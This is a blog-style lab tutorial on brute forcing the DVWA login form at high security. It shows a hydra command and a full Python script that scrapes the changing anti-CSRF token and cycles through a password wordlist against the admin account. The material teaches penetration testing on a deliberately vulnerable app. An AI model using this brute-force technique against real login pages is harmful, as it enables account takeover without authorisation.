DVWA Brute Force Tutorial (High Security)

*** Nothing contained in this article is intended to teach or encourage the use of security tools or methodologies for illegal or unethical purposes. Always act in a responsible manner. Make sure you have written permission from the proper individuals before you use any of the tools or techniques described here.

This tutorial demonstrates how you can complete a brute force attack on DVWA (Damn Vulnerable Web Application) on high security.

We’re going to jump straight in, so if you haven’t already, I recommend working through the previous tutorials for brute forcing DVWA on low and medium security.

Let’s go ahead and run the same hydra attack and see what happens:

hydra 192.168.0.11 -l admin -P /usr/share/set/src/fasttrack/wordlist.txt http-get-form “dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=Low;PHPSESSID=hc96j9jc6r22hbs4qthk81k8k3"

This time, no dice - our attack fails.

Let’s repeat the steps we took in the low security tutorial to inspect the request using our Burp Suite proxy server and see what’s going on.

From this, we can see there is an additional value being submitted on login called user_token. If we inspect the form code we see the following:

The user_token is a hidden field getting submitted with the form. Let’s delete it, then submit the form and see what happens.

Looks like we’ve discovered a new error message. If you look at the form code again you’ll notice that value of user_token has also changed. Refresh the page, it will change again.

This is called a CSRF (often pronounced sea-surf) token. They are used to add credibility to the origin of a request. i.e the request being received by the server is coming from the correct source and not a malicious 3rd party.

To learn more about CSRF here is some good reading.

So, our challenge is this: for every login request we make, we also need to provide a valid user_token — but here’s the catch. The value of a valid token is changing every time we load the page.

Now, as Ethical Hackers, we have a ton of tools at our disposal. I’m certain there are a few different ways to approach solving this.

However, as a Software Engineer, I’m most at home coding. So we’re going to create a Python script to circumvent this security measure. For the sake of brevity, I’ll assume you guys understanding at the very least some basic principles of programming. If not, I highly recommend you learn. The ability to code is a powerful weapon to have in your arsenal.

Lab requirements:

The Python Script

from sys import argv
import requests
from BeautifulSoup import BeautifulSoup as Soup

First few lines are just importing the libraries we’ll need. argv is so we can supply arguments to the script at the command line. requests is what we’ll be using to make requests. BeautifulSoup is a web scrapping library.

# give our arguments more semantic friendly names
script, filename, success_message = argv
txt = open(filename)
# set up our target, cookie and session
url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/index.php'
cookie = {'security': 'high', 'PHPSESSID':'hc96j9jc6r22hbs4qthk81k8k3'}
s = requests.Session()
target_page = s.get(url, cookies=cookie)

Here we set up our argument variables. We’ll be supplying python with three arguments:

  • the script name
  • the password text file
  • the login success message

After that we set the target URL, our cookie and create our session with the target page.

When the script is complete, our command to run it will look something like this:

python brute_force.py /usr/share/wordlists.txt "Welcome to the password protected area admin"

This might not make much sense right now, but it should by the end.

''' 
checkSuccess
@param: html (String)
Searches the response HTML for our specified success message
'''
def checkSuccess(html):
# get our soup ready for searching
soup = Soup(html)
# check for our success message in the soup
search = soup.findAll(text=success_message)

if not search:
success = False
 else:
success = True
 # return the brute force result
return success

We’ll use this function to check if the login attempt failed or succeeded. With some help from BeautifulSoup it searches the HTML for our success message.

# Get the intial CSRF token from the target site
page_source = target_page.text
soup = Soup(page_source);
csrf_token = soup.findAll(attrs={"name": "user_token"})[0].get('value')

Now the fun stuff. Remember that tricky anti-CSRF token? We can’t make a login without having the token sent along with our request. So, before we make the login attempt we search the page’s HTML and pluck out the user_token value.

However, this is just for the first request we make. Remember, every time the page loads a new CSRF token is created. So when we make our login attempt, if it fails, the page refreshes, a new anti-CSRF token value is created. So the code above only helps us get the user_token value on our first attempt.

We’re going to have to be a bit smarter about the other login attempts if we wan’t to automate this attack.

# Loop through our provided password file
with open(filename) as f:
print 'Running brute force attack...'
for password in f:
# setup the payload
payload = {'username': 'admin', 'password': password, 'Login': 'Login', 'user_token': csrf_token}
r = s.get(url, cookies=cookie, params=payload)
success = checkSuccess(r.text)
  if not success:
# if it failed the CSRF token will be changed. Get the new one
soup = Soup(r.text)
csrf_token = soup.findAll(attrs={"name": "user_token"})[0].get('value')
else:
# Success! Show the result
print 'Password is: ' + password
break
# We failed, bummer. 
if not success:
print 'Brute force failed. No matches found.'

Ok, a lot of code here. Don’t panic, lets break it down.

The first chunk 9 lines opens up our password list file and runs a for loop. This means we’re going to iterate through all the passwords in our password file.

The payload contains all the info we need to make a request.

After the request is made, we run our checkSuccess function to see if the login attempt was successful.

If the attempt was not successful, we know a new token has been created on the page. So, in our code we search the page again and grab the new anti-CSRF token.

If it was successful, then we’re all good. The last line we’ll tell us if the script failed.

The script in its entirety:

from sys import argv
import requests
from BeautifulSoup import BeautifulSoup as Soup
# give our arguments more semantic friendly names
script, filename, success_message = argv
txt = open(filename)
# set up our target, cookie and session
url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/index.php'
cookie = {'security': 'high', 'PHPSESSID':'b8dgqhbue8vdinrd87leug1no1'}
s = requests.Session()
target_page = s.get(url, cookies=cookie)
''' 
checkSuccess
@param: html (String)
Searches the response HTML for our specified success message
'''
def checkSuccess(html):
# get our soup ready for searching
soup = Soup(html)
# check for our success message in the soup
search = soup.findAll(text=success_message)

if not search:
success = False
 else:
success = True
# return the brute force result
return success
# Get the intial CSRF token from the target site
page_source = target_page.text
soup = Soup(page_source);
csrf_token = soup.findAll(attrs={"name": "user_token"})[0].get('value')
# Loop through our provided password file
with open(filename) as f:
print 'Running brute force attack...'
for password in f:
# setup the payload
payload = {'username': 'admin', 'password': password, 'Login': 'Login', 'user_token': csrf_token}
r = s.get(url, cookies=cookie, params=payload)
success = checkSuccess(r.text)
  if not success:
# if it failed the CSRF token will be changed. Get the new one
soup = Soup(r.text)
csrf_token = soup.findAll(attrs={"name": "user_token"})[0].get('value')
else:
# Success! Show the result
print 'Password is: ' + password
break
# We failed, bummer. 
if not success:
print 'Brute force failed. No matches found.'

There are tons of ways we can build on this script, but it’s a good starting point and demonstrates how we can still stage a successful brute force attack and circumvent the anti-CSRF token.

Happy hacking,

Danny